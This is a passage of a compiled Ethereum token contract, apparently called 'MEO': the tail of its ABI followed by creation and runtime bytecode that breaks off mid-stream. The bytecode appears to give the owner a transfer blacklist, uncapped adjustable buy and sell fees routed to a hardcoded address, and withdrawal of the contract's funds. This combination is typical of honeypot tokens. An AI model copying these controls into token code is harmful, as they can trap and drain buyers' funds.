},{"internalType":"uint256","name":"_limitNumber","type":"uint256"}],"name":"setlimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEth","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapNumber","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdawOwner","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405273e6b60bf772887c422210c1a9e7a545dfa22eecfb60085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f600a556028600b555f600e5f6101000a81548160ff0219169083151502179055505f600e60016101000a81548160ff021916908315150217905550348015620000a0575f80fd5b506040518060400160405280600381526020017f4d454f00000000000000000000000000000000000000000000000000000000008152506040518060400160405280600381526020017f4d454f0000000000000000000000000000000000000000000000000000000000815250335f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160362000181575f6040517f1e4fbdf700000000000000000000000000000000000000000000000000000000815260040162000178919062000c79565b60405180910390fd5b6200019281620006ab60201b60201c565b508160049081620001a4919062000ef8565b508060059081620001b6919062000ef8565b5050505f6b204fce5e3e250261100000009050620001db33826200076c60201b60201c565b737a250d5630b4cf539739df2c5dacb4c659f2488d600f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200029a573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002c091906200100f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000347573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200036d91906200100f565b6040518363ffffffff1660e01b81526004016200038c9291906200103f565b6020604051808303815f875af1158015620003a9573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620003cf91906200100f565b600e60026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200047a573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620004a091906200100f565b60095f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550606481620004ee9190620010c4565b600c8190555061012c81620005049190620010c4565b600d8190555060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401620005a99291906200110c565b6020604051808303815f875af1158015620005c6573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620005ec919062001171565b506200064130600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff620007f660201b60201c565b620006a4620006556200081060201b60201c565b600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff620007f660201b60201c565b5062001231565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620007df575f6040517fec442f05000000000000000000000000000000000000000000000000000000008152600401620007d6919062000c79565b60405180910390fd5b620007f25f83836200083760201b60201c565b5050565b6200080b838383600162000a5e60201b60201c565b505050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036200088b578060035f8282546200087e9190620011a1565b925050819055506200095e565b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508181101562000918578381836040517fe450d38c0000000000000000000000000000000000000000000000000000000081526004016200090f93929190620011db565b60405180910390fd5b81810360015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620009a7578060035f8282540392505081905550620009f2565b8060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000a51919062001216565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160362000ad1575f6040517fe602df0500000000000000000000000000000000000000000000000000000000815260040162000ac8919062000c79565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160362000b44575f6040517f94280d6200000000000000000000000000000000000000000000000000000000815260040162000b3b919062000c79565b60405180910390fd5b8160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550801562000c30578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405162000c27919062001216565b60405180910390a35b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f62000c618262000c36565b9050919050565b62000c738162000c55565b82525050565b5f60208201905062000c8e5f83018462000c68565b92915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168062000d1057607f821691505b60208210810362000d265762000d2562000ccb565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f6008830262000d8a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000d4d565b62000d96868362000d4d565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f62000de062000dda62000dd48462000dae565b62000db7565b62000dae565b9050919050565b5f819050919050565b62000dfb8362000dc0565b62000e1362000e0a8262000de7565b84845462000d59565b825550505050565b5f90565b62000e2962000e1b565b62000e3681848462000df0565b505050565b5b8181101562000e5d5762000e515f8262000e1f565b60018101905062000e3c565b5050565b601f82111562000eac5762000e768162000d2c565b62000e818462000d3e565b8101602085101562000e91578190505b62000ea962000ea08562000d3e565b83018262000e3b565b50505b505050565b5f82821c905092915050565b5f62000ece5f198460080262000eb1565b1980831691505092915050565b5f62000ee8838362000ebd565b9150826002028217905092915050565b62000f038262000c94565b67ffffffffffffffff81111562000f1f5762000f1e62000c9e565b5b62000f2b825462000cf8565b62000f3882828562000e61565b5f60209050601f83116001811462000f6e575f841562000f59578287015190505b62000f65858262000edb565b86555062000fd4565b601f19841662000f7e8662000d2c565b5f5b8281101562000fa75784890151825560018201915060208501945060208101905062000f80565b8683101562000fc7578489015162000fc3601f89168262000ebd565b8355505b6001600288020188555050505b505050505050565b5f80fd5b62000feb8162000c55565b811462000ff6575f80fd5b50565b5f81519050620010098162000fe0565b92915050565b5f6020828403121562001027576200102662000fdc565b5b5f620010368482850162000ff9565b91505092915050565b5f604082019050620010545f83018562000c68565b62001063602083018462000c68565b9392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f620010d08262000dae565b9150620010dd8362000dae565b925082620010f057620010ef6200106a565b5b828204905092915050565b620011068162000dae565b82525050565b5f604082019050620011215f83018562000c68565b620011306020830184620010fb565b9392505050565b5f8115159050919050565b6200114d8162001137565b811462001158575f80fd5b50565b5f815190506200116b8162001142565b92915050565b5f6020828403121562001189576200118862000fdc565b5b5f62001198848285016200115b565b91505092915050565b5f620011ad8262000dae565b9150620011ba8362000dae565b9250828201905080821115620011d557620011d462001097565b5b92915050565b5f606082019050620011f05f83018662000c68565b620011ff6020830185620010fb565b6200120e6040830184620010fb565b949350505050565b5f6020820190506200122b5f830184620010fb565b92915050565b612bf0806200123f5f395ff3fe608060405260043610610212575f3560e01c80636612e66f11610117578063a9059cbb1161009f578063d99274481161006e578063d992744814610763578063dc1052e21461078b578063dd62ed3e146107b3578063edae876f146107ef578063f2fde38b1461081957610219565b8063a9059cbb146106ab578063ad5c4648146106e7578063cc1776d314610711578063d2744c181461073b57610219565b80638648c6a6116100e65780638648c6a6146105dd5780638cd09d50146106075780638da5cb5b1461062f57806395d89b4114610659578063967123cd1461068357610219565b80636612e66f146105395780636e4ad4ba1461056157806370a082311461058b578063715018a6146105c757610219565b80632b216cc61161019a57806349bd5a5e1161016957806349bd5a5e1461046b5780634f7041a5146104955780635384f246146104bf5780635be89fbd146104e9578063632e54421461051157610219565b80632b216cc6146103c55780632d3e474a146103ef578063313ce56714610419578063404e51291461044357610219565b806316c02129116101e157806316c02129146102d357806318160ddd1461030f5780631c6a0c4c146103395780631e89d5451461036157806323b872dd1461038957610219565b806306fdde031461021d578063095ea7b3146102475780630a3ccb231461028357806314aec748146102ab57610219565b3661021957005b5f80fd5b348015610228575f80fd5b50610231610841565b60405161023e9190612082565b60405180910390f35b348015610252575f80fd5b5061026d60048036038101906102689190612137565b6108d1565b60405161027a919061218f565b60405180910390f35b34801561028e575f80fd5b506102a960048036038101906102a491906121d2565b6108f3565b005b3480156102b6575f80fd5b506102d160048036038101906102cc91906121fd565b610918565b005b3480156102de575f80fd5b506102f960048036038101906102f4919061223b565b610944565b604051610306919061218f565b60405180910390f35b34801561031a575f80fd5b50610323610961565b6040516103309190612275565b60405180910390f35b348015610344575f80fd5b5061035f600480360381019061035a919061228e565b61096a565b005b34801561036c575f80fd5b506103876004803603810190610382919061236f565b6109b9565b005b348015610394575f80fd5b506103af60048036038101906103aa91906123ed565b610b43565b6040516103bc919061218f565b60405180910390f35b3480156103d0575f80fd5b506103d9610b71565b6040516103e6919061218f565b60405180910390f35b3480156103fa575f80fd5b50610403610b83565b604051610410919061244c565b60405180910390f35b348015610424575f80fd5b5061042d610ba8565b60405161043a9190612480565b60405180910390f35b34801561044e575f80fd5b5061046960048036038101906104649190612499565b610bb0565b005b348015610476575f80fd5b5061047f610c10565b60405161048c919061244c565b60405180910390f35b3480156104a0575f80fd5b506104a9610c36565b6040516104b69190612275565b60405180910390f35b3480156104ca575f80fd5b506104d3610c3c565b6040516104e0919061218f565b60405180910390f35b3480156104f4575f80fd5b5061050f600480360381019061050a919061228e565b610c4f565b005b34801561051c575f80fd5b50610537600480360381019061053291906124d7565b610c61565b005b348015610544575f80fd5b5061055f600480360381019061055a9190612499565b610d58565b005b34801561056c575f80fd5b50610575610db8565b6040516105829190612275565b60405180910390f35b348015610596575f80fd5b506105b160048036038101906105ac919061223b565b610dbe565b6040516105be9190612275565b60405180910390f35b3480156105d2575f80fd5b506105db610e04565b005b3480156105e8575f80fd5b506105f1610e17565b6040516105fe9190612275565b60405180910390f35b348015610612575f80fd5b5061062d6004803603810190610628919061228e565b610e1d565b005b34801561063a575f80fd5b50610643610e2f565b604051610650919061244c565b60405180910390f35b348015610664575f80fd5b5061066d610e56565b60405161067a9190612082565b60405180910390f35b34801561068e575f80fd5b506106a960048036038101906106a49190612534565b610ee6565b005b3480156106b6575f80fd5b506106d160048036038101906106cc9190612137565b610f89565b6040516106de919061218f565b60405180910390f35b3480156106f2575f80fd5b506106fb610fab565b604051610708919061244c565b60405180910390f35b34801561071c575f80fd5b50610725610fd0565b6040516107329190612275565b60405180910390f35b348015610746575f80fd5b50610761600480360381019061075c9190612534565b610fd6565b005b34801561076e575f80fd5b506107896004803603810190610784919061223b565b611079565b005b348015610796575f80fd5b506107b160048036038101906107ac919061228e565b611177565b005b3480156107be575f80fd5b506107d960048036038101906107d49190612591565b611189565b6040516107e69190612275565b60405180910390f35b3480156107fa575f80fd5b5061080361120b565b604051610810919061262a565b60405180910390f35b348015610824575f80fd5b5061083f600480360381019061083a919061223b565b611230565b005b60606004805461085090612670565b80601f016020809104026020016040519081016040528092919081815260200182805461087c90612670565b80156108c75780601f1061089e576101008083540402835291602001916108c7565b820191905f5260205f20905b8154815290600101906020018083116108aa57829003601f168201915b5050505050905090565b5f806108db6112b4565b90506108e88185856112bb565b600191505092915050565b6108fb6112cd565b80600e60016101000a81548160ff02191690831515021790555050565b6109206112cd565b81600e5f6101000a81548160ff02191690831515021790555080600c819055505050565b6006602052805f5260405f205f915054906101000a900460ff1681565b5f600354905090565b6109726112cd565b3373ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f193505050501580156109b5573d5f803e3d5ffd5b5050565b6103218484905010610a00576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f790612710565b60405180910390fd5b818190508484905014610a48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3f9061279e565b60405180910390fd5b5f805b85859050811015610a8a57838382818110610a6957610a686127bc565b5b9050602002013582610a7b9190612816565b91508080600101915050610a4b565b5080610a9533610dbe565b1015610ad6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610acd90612893565b60405180910390fd5b5f5b85859050811015610b3b57610b2e33878784818110610afa57610af96127bc565b5b9050602002016020810190610b0f919061223b565b868685818110610b2257610b216127bc565b5b90506020020135611354565b8080600101915050610ad8565b505050505050565b5f80610b4d6112b4565b9050610b5a8582856119ca565b610b65858585611354565b60019150509392505050565b600e5f9054906101000a900460ff1681565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f6012905090565b610bb86112cd565b8060065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b600e60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b600e60019054906101000a900460ff1681565b610c576112cd565b80600d8190555050565b6107d18383905010610ca8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9f90612921565b60405180910390fd5b5f8383905082610cb8919061293f565b905080610cc433610dbe565b1015610d05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cfc90612893565b60405180910390fd5b5f5b84849050811015610d5157610d4433868684818110610d2957610d286127bc565b5b9050602002016020810190610d3e919061223b565b85611354565b8080600101915050610d07565b5050505050565b610d606112cd565b8060075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b600c5481565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610e0c6112cd565b610e155f611a5c565b565b600d5481565b610e256112cd565b80600b8190555050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610e6590612670565b80601f0160208091040260200160405190810160405280929190818152602001828054610e9190612670565b8015610edc5780601f10610eb357610100808354040283529160200191610edc565b820191905f5260205f20905b815481529060010190602001808311610ebf57829003601f168201915b5050505050905090565b610eee6112cd565b5f5b83839050811015610f83578160065f868685818110610f1257610f116127bc565b5b9050602002016020810190610f27919061223b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080600101915050610ef0565b50505050565b5f80610f936112b4565b9050610fa0818585611354565b600191505092915050565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b5481565b610fde6112cd565b5f5b83839050811015611073578160075f868685818110611002576110016127bc565b5b9050602002016020810190611017919061223b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080600101915050610fe0565b50505050565b6110816112cd565b8073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb338373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016110d7919061244c565b602060405180830381865afa1580156110f2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111169190612994565b6040518363ffffffff1660e01b81526004016111339291906129bf565b6020604051808303815f875af115801561114f573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061117391906129fa565b5050565b61117f6112cd565b80600a8190555050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6112386112cd565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036112a8575f6040517f1e4fbdf700000000000000000000000000000000000000000000000000000000815260040161129f919061244c565b60405180910390fd5b6112b181611a5c565b50565b5f33905090565b6112c88383836001611b1d565b505050565b6112d56112b4565b73ffffffffffffffffffffffffffffffffffffffff166112f3610e2f565b73ffffffffffffffffffffffffffffffffffffffff1614611352576113166112b4565b6040517f118cdaa7000000000000000000000000000000000000000000000000000000008152600401611349919061244c565b60405180910390fd5b565b60065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580156113f2575060065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b611431576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142890612a6f565b60405180910390fd5b611439610e2f565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114be575060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115155750600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611566575060075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b806115b7575060075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b806115f457506115c5610e2f565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b8061164b575060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b806116a25750600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b806116d857503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8061170e57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156117235761171e838383611cec565b6119c5565b8273ffffffffffffffffffffffffffffffffffffffff16600e60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806117cc57508173ffffffffffffffffffffffffffffffffffffffff16600e60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156119b957600e5f9054906101000a900460ff16801561183957508273ffffffffffffffffffffffffffffffffffffffff16600e60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b801561189257508173ffffffffffffffffffffffffffffffffffffffff16600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b156118ef57600c546118a383610dbe565b826118ae9190612816565b106118ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e590612ad7565b60405180910390fd5b5b5f8373ffffffffffffffffffffffffffffffffffffffff16600e60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff160361194f57600a549050611955565b600b5490505b5f60648383611964919061293f565b61196e9190612b22565b905061199c8560085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683611cec565b6119b2858583866119ad9190612b52565b611cec565b50506119c5565b6119c4838383611cec565b5b505050565b5f6119d58484611189565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114611a565781811015611a47578281836040517ffb8f41b2000000000000000000000000000000000000000000000000000000008152600401611a3e93929190612b85565b60405180910390fd5b611a5584848484035f611b1d565b5b50505050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611b8d575f6040517fe602df05000000000000000000000000000000000000000000000000000000008152600401611b84919061244c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611bfd575f6040517f94280d62000000000000000000000000000000000000000000000000000000008152600401611bf4919061244c565b60405180910390fd5b8160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508015611ce6578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051611cdd9190612275565b60405180910390a35b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611d5c575f6040517f96c6fd1e000000000000000000000000000000000000000000000000000000008152600401611d53919061244c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611dcc575f6040517fec442f05000000000000000000000000000000000000000000000000000000008152600401611dc3919061244c565b60405180910390fd5b611dd7838383611ddc565b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611e2c578060035f828254611e209190612816565b92505081905550611efc565b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015611eb6578381836040517fe450d38c000000000000000000000000000000000000000000000000000000008152600401611ead93929190612b85565b60405180910390fd5b81810360015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611f43578060035f8282540392505081905550611f8e565b8060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611feb9190612275565b60405180910390a3505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561202f578082015181840152602081019050612014565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61205482611ff8565b61205e8185612002565b935061206e818560208601612012565b6120778161203a565b840191505092915050565b5f6020820190508181035f83015261209a818461204a565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6120d3826120aa565b9050919050565b6120e3816120c9565b81146120ed575f80fd5b50565b5f813590506120fe816120da565b92915050565b5f819050919050565b61211681612104565b8114612120575f80fd5b50565b5f813590506121318161210d565b92915050565b5f806040838503121561214d5761214c6120a2565b5b5f61215a858286016120f0565b925050602061216b85828601612123565b9150509250929050565b5f8115159050919050565b61218981612175565b82525050565b5f6020820190506121a25f830184612180565b92915050565b6121b181612175565b81146121bb575f80fd5b50565b5f813590506121cc816121a8565b92915050565b5f602082840312156121e7576121e66120a2565b5b5f6121f4848285016121be565b91505092915050565b5f8060408385031215612213576122126120a2565b5b5f612220858286016121be565b925050602061223185828601612123565b9150509250929050565b5f602082840312156122505761224f6120a2565b5b5f61225d848285016120f0565b91505092915050565b61226f81612104565b82525050565b5f6020820190506122885f830184612266565b92915050565b5f602082840312156122a3576122a26120a2565b5b5f6122b084828501612123565b91505092915050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f8401126122da576122d96122b9565b5b8235905067ffffffffffffffff8111156122f7576122f66122bd565b5b602083019150836020820283011115612313576123126122c1565b5b9250929050565b5f8083601f84011261232f5761232e6122b9565b5b8235905067ffffffffffffffff81111561234c5761234b6122bd565b5b602083019150836020820283011115612368576123676122c1565b5b9250929050565b5f805f8060408587031215612387576123866120a2565b5b5f85013567ffffffffffffffff8111156123a4576123a36120a6565b5b6123b0878288016122c5565b9450945050602085013567ffffffffffffffff8111156123d3576123d26120a6565b5b6123df8782880161231a565b925092505092959194509250565b5f805f60608486031215612404576124036120a2565b5b5f612411868287016120f0565b9350506020612422868287016120f0565b925050604061243386828701612123565b9150509250925092565b612446816120c9565b82525050565b5f60208201905061245f5f83018461243d565b92915050565b5f60ff82169050919050565b61247a81612465565b82525050565b5f6020820190506124935f830184612471565b92915050565b5f80604083850312156124af576124ae6120a2565b5b5f6124bc858286016120f0565b92505060206124cd858286016121be565b9150509250929050565b5f805f604084860312156124ee576124ed6120a2565b5b5f84013567ffffffffffffffff81111561250b5761250a6120a6565b5b612517868287016122c5565b9350935050602061252a86828701612123565b9150509250925092565b5f805f6040848603121561254b5761254a6120a2565b5b5f84013567ffffffffffffffff811115612568576125676120a6565b5b612574868287016122c5565b93509350506020612587868287016121be565b9150509250925092565b5f80604083850312156125a7576125a66120a2565b5b5f6125b4858286016120f0565b92505060206125c5858286016120f0565b9150509250929050565b5f819050919050565b5f6125f26125ed6125e8846120aa565b6125cf565b6120aa565b9050919050565b5f612603826125d8565b9050919050565b5f612614826125f9565b9050919050565b6126248161260a565b82525050565b5f60208201905061263d5f83018461261b565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061268757607f821691505b60208210810361269a57612699612643565b5b50919050565b7f474153204572726f723a206d61782061697264726f70206c696d6974206973205f8201527f3530302061646472657373657300000000000000000000000000000000000000602082015250565b5f6126fa602d83612002565b9150612705826126a0565b604082019050919050565b5f6020820190508181035f830152612727816126ee565b9050919050565b7f4d69736d61746368206265747765656e204164647265737320616e6420746f6b5f8201527f656e20636f756e74000000000000000000000000000000000000000000000000602082015250565b5f612788602883612002565b91506127938261272e565b604082019050919050565b5f6020820190508181035f8301526127b58161277c565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61282082612104565b915061282b83612104565b9250828201905080821115612843576128426127e9565b5b92915050565b7f4e6f7420656e6f75676820616d6f756e7420696e2077616c6c657400000000005f82015250565b5f61287d601b83612002565b915061288882612849565b602082019050919050565b5f6020820190508181035f8301526128aa81612871565b9050919050565b7f474153204572726f723a206d61782061697264726f70206c696d6974206973205f8201527f3230303020616464726573736573000000000000000000000000000000000000602082015250565b5f61290b602e83612002565b9150612916826128b1565b604082019050919050565b5f6020820190508181035f830152612938816128ff5